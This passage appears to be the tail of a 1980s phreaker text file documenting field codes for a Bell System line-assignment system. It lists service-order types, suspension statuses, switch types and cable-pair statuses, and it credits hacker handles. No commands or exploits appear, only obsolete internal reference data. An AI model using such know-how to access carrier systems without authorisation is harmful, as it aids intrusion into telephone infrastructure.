FM=Count Since OE Input Features Occurrences
FO=Count All OE Input Feature Occurrences
HOT=Frame Ouput-urgent
JR=Jeopardy Reason
OCS Old Class of Service
OCS XXXXXX
XXXXXX=Maximum of 6 Alphanumeric Characters
OD Output Device
OD XXXX
TT=Send Output to Current Terminal
TTXX=Send Output to Specified Terminal XX
MTX=Send Output to Magnetic Tape X
OE Office Equpiment Number
OE ID
(See MASK)
OGO Outgoing Only Trunk
OGO XXX
XXX=Maximum of 4 Numeric Characters
OPT Party Assignment Option
OPT X
1=Assign Multi-party Customers to Spare Party Equipment
2=Assign Multi-party Customer to Partially Equipped Party Equipment
3=Assign Only One Multi-Party Customer to each Single Party Equipment
ORD Service or Work Order
ORD XX...XX
XX...XX=Maximum of 20 Alphanumeric Characters
OT Service or Work Order Type
OT XXX
BT=Background Transfer
CD=Complete Disconnect
CH=Changed
CIO=Company Initiated Orders
F="FROM"
LET=Line Equipment Transfers
LST=Line and Station Transfers
MCE=Maintenance Change by LAC
MCR=Maintenance Change by Repair
MCT=All Maintenance Changes
NC=New Connect
R=Remarks
REA=Pending Reassociation
SW=Swap
T="TO"
PBX Private Branch Exchange
PBX XXXX
XXXX=Maximum of 4 Numeric Characters
PCID Primary Circuit Identification
PCID XX...XX
XX...XX=Maximum of 61 Alphanumeric Characters
PKT Picket Fence Values
PKT XXX.X,...,XXX.X
XXX.X,...,XXX.X=Nine sets of Four Numeric Characters or
N=No New Values
PL Private line Circuit Number
PL XX...XX
XX...XX=Maximum of 61 Alphanumeric Characters
PNL PREMIS Number List for TN
PNL XX...XX
XX...XX=Maximum of 12 Alphanumeric Characters
POP Line Equipment Print Option
POP XXX
CNC=Concentrator-1ESS, 2ESS, 3ESS, RSS
CNG=Concentrator Group-2ESS, 3ESS
HG=Horizontal Group-5XBAR
IM=Interface Module-5ESS
LFG=Line Finder Group-SXS
LLF=Line Link Frame-5XBAR
LLN=Line Link Net-1ESS
LTN=Line Trunk Net-2ESS
LU=Link Unit Module-5ESS
QC=Quarter Choice-1XBAR
SW=Switch-1XBAR
VF=Vertical FIle-5XBAR
PR Cable Pair ID
PR YXXX
Y=Alphanumeric
XXX=Numeric
PRI Frame Priority
PRI XX
XX=Two Numeric Characters
PRP Permanent Cable Pair Remarks
PRP XX...XX
XX...XX=Maximum of 14 Alphanumeric Characters
PRZ Preferred Rate Zone
PRT X
X=Numeric
PS Previously Published/Non-published Facility Indicator
PS X
N=Non-Published
!=Published
PT Package Time
PT XXX
XXX=Three Numeric Characters
PTY Party Number or Position
PTY X
X=1-4
PTY Party Indicator
PTY X
R=Reserved
O=Open
PWC PREMIS Wire Center
PWC XX...XX
XX...XX=Maximum of 8 Alphanumeric Characters
PWC Print Work Code
PWC XXX
NBT=No Back Tap
COM=Frame Complete
PBT=Print Back Tap
RCT=Place Heat Coils on "TO" Pair
RBT=Remove Back Tap
RCF=Remove Heat Coils on "FROM" Pair
VBT=Verify Back Tap
USX=Locally Defined Codes (X=1-4)
RAP Rotary Assignment Priority
RAP X
X=Numeric
RCT Recent Change Type
RCT XX
1=1ESS Office
1A=1AESS Office
2=2ESS (LO1)
2E=2ESS (EF1 and EF2)
3=3ESS
5T=5ESS
RCW Recent Change Keyword
RCW XX...XX
XX...XX=Maximum of 20 Alphanumeric Characters
RD Release Date
RD MM-DD-YY
MM=Month
DD=Day
YY=Year
RDG Message Register Reading
RDG XXXX
XXXX=Four Numeric Characters
REC Record File Name and Number
REC FFXXXXXX
FF=File Name (Alphanumeric)
XXXXXX=Record Number (Maximum of 6 Numeric Characters)
REP Reprint Option
REP X
Y=Yes
N=No
RESP Send a Solicited Response
RESP X
S=Solicited Response
REW Rework Status
REW X
Y=Yes
N=No
RLF Re-using DIPs Upper Bound Load Factor
RLF X
X=1-9
RLO Automatic Relay Assignment Present
RLO X
Y=Yes
N=No
RLY Miscellaneous Relay
RLY XX...XX
XX...XX=Maximum of 10 Alphanumeric Characters
RMK Remarks on Orders
RMK XX...XX
XX...XX=Maximum of 28 Alphanumeric Characters
RMKG Hunt Group Remarks
RMKG XX...XX
XX...XX=Maximum of 30 Alphanumeric Characters
RMKO Remarks on Office Equipment
RMKO XX...XX
XX...XX=Maximum of 12 Alphanumeric Characters
RMKP Remarks on Cable Pair
RMKP XX...XX
XX...XX=Maximum of 14 Alphanumeric Characters
RMKT Remarks on Telephone Number
RMKT XX...XX
XX...XX=Maximum of 14 Alphanumeric Characters
RNO RSS Subentity Number
RNO XX
XX=01-63
RTI Route Index
RTI XXXX
XXXX=Maximum of 4 Numeric Characters
RTYP Relay Type
RTYP XXX
TBA=Tens Block Auxiliary
SC=Sleeve Connect
AR=Advance
RTZ Rate Zone
RTZ X
X=Numeric
RW Recent Change Work
RW X
N=Recent Change Message not Required
C=Recent Change Coordination Required
RZ Resistance Zone
RZ XX
XX=Two Numeric Characters
SBS Sub-status
SBS X
A=Area Transfer
C=Cut Through
D=Dedicated
L=Cut Through and Dedicated
!=Blank
SC Sleeve Connect Relay
SC SYY-ZZZ
S=Marker Group (Numeric)
YY=Number Group Frame (Numeric)
ZZZ=Relay Number (Numeric)
SE Special Service Equipment Number
SE XX...XX
XX...XX=Maximum of 52 Alphanumeric Characters
SET Single Entity Tag
SET X
Y=CP is Served by a Single Entity on a Single Frame
!=CP Can be Served by More Than One Entity
SG Service Segment
SG X
B=Business
C=Coin
D=Data
R=Residence
S=Special
SGN Common Language Segment Number
SGN XXX
XXX=Maximum of 3 Alphanumeric Characters
SIS Special Identifying Telephone Number Supplement
SIS XXXX
XXXX=Maximum of 4 Numeric Characters
SIT Special Identifying Telephone Number
SIT XXX-YYY-XXXX
X=Numeric
Y=Numeric
SK Skip Option
SK X
X=0 or 2-9
SN Sequence Number
SN XXX
XXX=1-999
SOB Service Observing Tag
SOB XXX
XXX=YES or NO
SS Suspension Status
SS XX
DB=Deny Both Ways
DI=Deny Incoming
DO=Deny Outgoing
RS=Restore Suspended Circuit
SB=Suspend Both Ways
SD=Season Disconnect
SI=Suspend Incoming
SO=Suspend Outgoing
DX=Deny Toll Access Tervice
SSV Suspend Service Type
SSV XX
DO=Deny Outward Service
DB=Deny Both Outward and Inward Service
DX=Deny Toll Access Service
RS=Restore Denied Service
STAT Order Status
STAT XX
AC=Pending With no Framd or Installation Completion
FC=Pending With Frame Completion but no Installation Completion
IC=Pending with Installation Complation but no Frame Completion
CC=Completed Orders
CA=Canceled Orders
STAT Facility Status
STAT XX
AS=All Spare
EX=Excluded
PC=Pending Connect
RS=Reserved
SF=Spare Facility
UK=Unknown
WK=Working
STAT Load Group Status
STAT XX
EX=Blocked from all Assignments
FU=Open for Dial Transfer Assignments Only
PS=Pseudo LEN Assignments Only
SO=Open for Service Orders and Work Orders Only
WK=Open for All Assignments
STO Line Equipment Status
STO XX
AW=All Working
MS=Miscellaneous
OF=Official
TJ=Trunk and Junctor
TS=Test
WK=Working
PD=Pending Disconnect
PK Pending Disconnect/Pending New Connect
AS=All Spare
EX=Excluded
LI=Left-in Disconnect
RS=Reserved
SF=Spare
UK=Unknown
PC=Pending Connect
STP Cable and Pair Status
STP XX
AL=All Pairs
AD=All Defective
AP=All Provisioned
AW=All Working
DC=Designed Circuit
DI=Defective (I=1-9)
DM=Designed + SSM
DP=Designed + SSP
SM=Special Safeguard Measures
SP=Special Safeguard Protection
SS=Special Status
WK=Working
AS=All Spare
EX=Excluded
LI=Left-in Disconnect
RS=Reserved
SF=Spare
UK=Unknown
PC=Pending Connect
PD=Pending Disconnect
STT Telephone Number Status
STT XX
AU=Auxiliary
AW=All Working
MS=Miscellaneous
NP=Non-published
OF=Official
TJ=Trunk and Junctor
TS=Test
WK=Working
AS=All Spare
AV=Available
CM=Changed-Machine Intercept
CO=Changed-Operator Intercept
DM=Disconnected-Machine Intercept
DO=Disconnected-Operator Intercept
EX=Excluded
RS=Reserved
SF=Spare
UK=Unknown
PC=Pending Connect
PD=Pending Disconnect
PK=Pending Disconnect/Pending New Connect
SUBL Sublet Service
SUBL XXX-XXXX
XXX-XXXX=Telephone Number
SWC Set Work Code
SWC XXX
(See Print Work Code)
SWG Switch Group
SWG X
X=0-2
SYS Machine Number
SYS XX...XX
XX...XX=Maximum of 12 Alphanumeric Characters
TA Transfer Assembly
TA X
Y=Yes
N=No
TAP Touchtone Assignment Priority Number
TAP X
X=Numeric
TBA TBA Relay
TBA XYY-ZZZ
X=Marker Group Number (Numeric)
YY=Number Group Frame (Numeric)
ZZZ=Relay Number (Numeric)
TBS TBS Relay
TBS XZ-NN
X=Marker Group Number (0-9)
Z=Relay Number (0-3)
NN=Ringing Combination (01-16)
TC TO Cable
TX XX...XX
XX...XX=Maximum of 10 Alphanumeric Characters
TER Terminal
TER XXXX
XXXX=Maximum of 4 Numeric Characters
TER Terminal Number
TER Y-XXXX-ZZZZ
Y=Control Group (Alphanumeric)
XXXX=Group Number (Numeric)
ZZZZ=Terminal Number (Numeric)
THG Thousands Group
THG X or
THG XXXX
X=0-9
XXXX=0000,1000,...,9000
TK Trunk Cable and Pair Number
TK YYYYYY-XXXX
YYYYYY=Cable ID (Maximum of 6 Alphanumeric Characters)
XXXX=Cable Pair ID (Maximum of 4 Numeric Characters)
TLI Telephone Line Identifier
TLI XXX-YYY-XXXX
X=Numeric
Y=Alphanumeric
TN Telephone Number
TN XXX-XXXX
XXX-XXXX=Telephone Number
TOM Two or More Non-pending, Non-party Filtered Circuit Facilities
TOM XX
CP=Cable Pair
TN=Telephone Number
OE=Office Equipment
TP Tie Pair
TP YY...YY-XXXX
YY...YY=Cable ID (Maximum of 10 Alphanumeric Characters)
XXXX=Tie Pair ID (Maximum of 4 Numeric Characters)
TPR Taper Code
TPR XXXXXX
XXXXXX=Maximum of 6 Alphanumeric Characters
TRE Transmission Equipment
TRE XX...XX
XX...XX=Maximum of 17 Alphanumeric Characters
TT Telephone Number Type
TT X
B=POTs Hunting
C=Coin
G=Complex Service (Direct Inward Dialing, Radio Common Carrier, etc)
O=Official
Q=Centrex
X=POTx Non-hunting
TTA Terminating Traffic Area
TTA XXX
XXX=Maximum of 3 Alphanumeric Characters
TYP Switching Type
TYP XXX
1ES=Number 1ESS
2ES=Number 2ESS
3ES=Number 3ESS
5ES=Number 5ESS
RSS=Remote Switching System
1XB=Number 1 Cross-bar
5XB=Number 5 Cross-bar
SXS=Step-by-step
DMX=DMS-10
DMC=DMS-100
US USOC
US XXXXX
XXXXX=Maximum of 5 Alphanumeric Characters
USE Entity Usage
USE X
G=Growth
S=Stable
VAL Minimum Valid Hours for Entity Data
VAL XX
XX=1-99
WC Wire Center
WC XX
XX=Alphanumeric
WL Work Location
WL Y
Y=1-8 or
WL XXX
ADM=Administrative
ACT=Assignment Change Ticket
CPC=Special Service Circuits
MCT=Maintenance Change Tickets
WPN Work Package Number
WPN XXXX
XXXX=1-9999
WPT Work Package Type
WPT XXX
XXX=Maximum of 3 Alphanumeric Characters
XN "X" Number
XN XXX-YYXX or
XN XXX-YXX
X=Numeric
Y=Alphanumeric
ZN Zone Location
ZN XXX
XXX=001-999
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ACKNOWLEDGEMENTS
Skinny Puppy for refreshing my memory
The Urvile for the "$*" file and further usage of echo
Bell Laboratories OPA-1Y600-01
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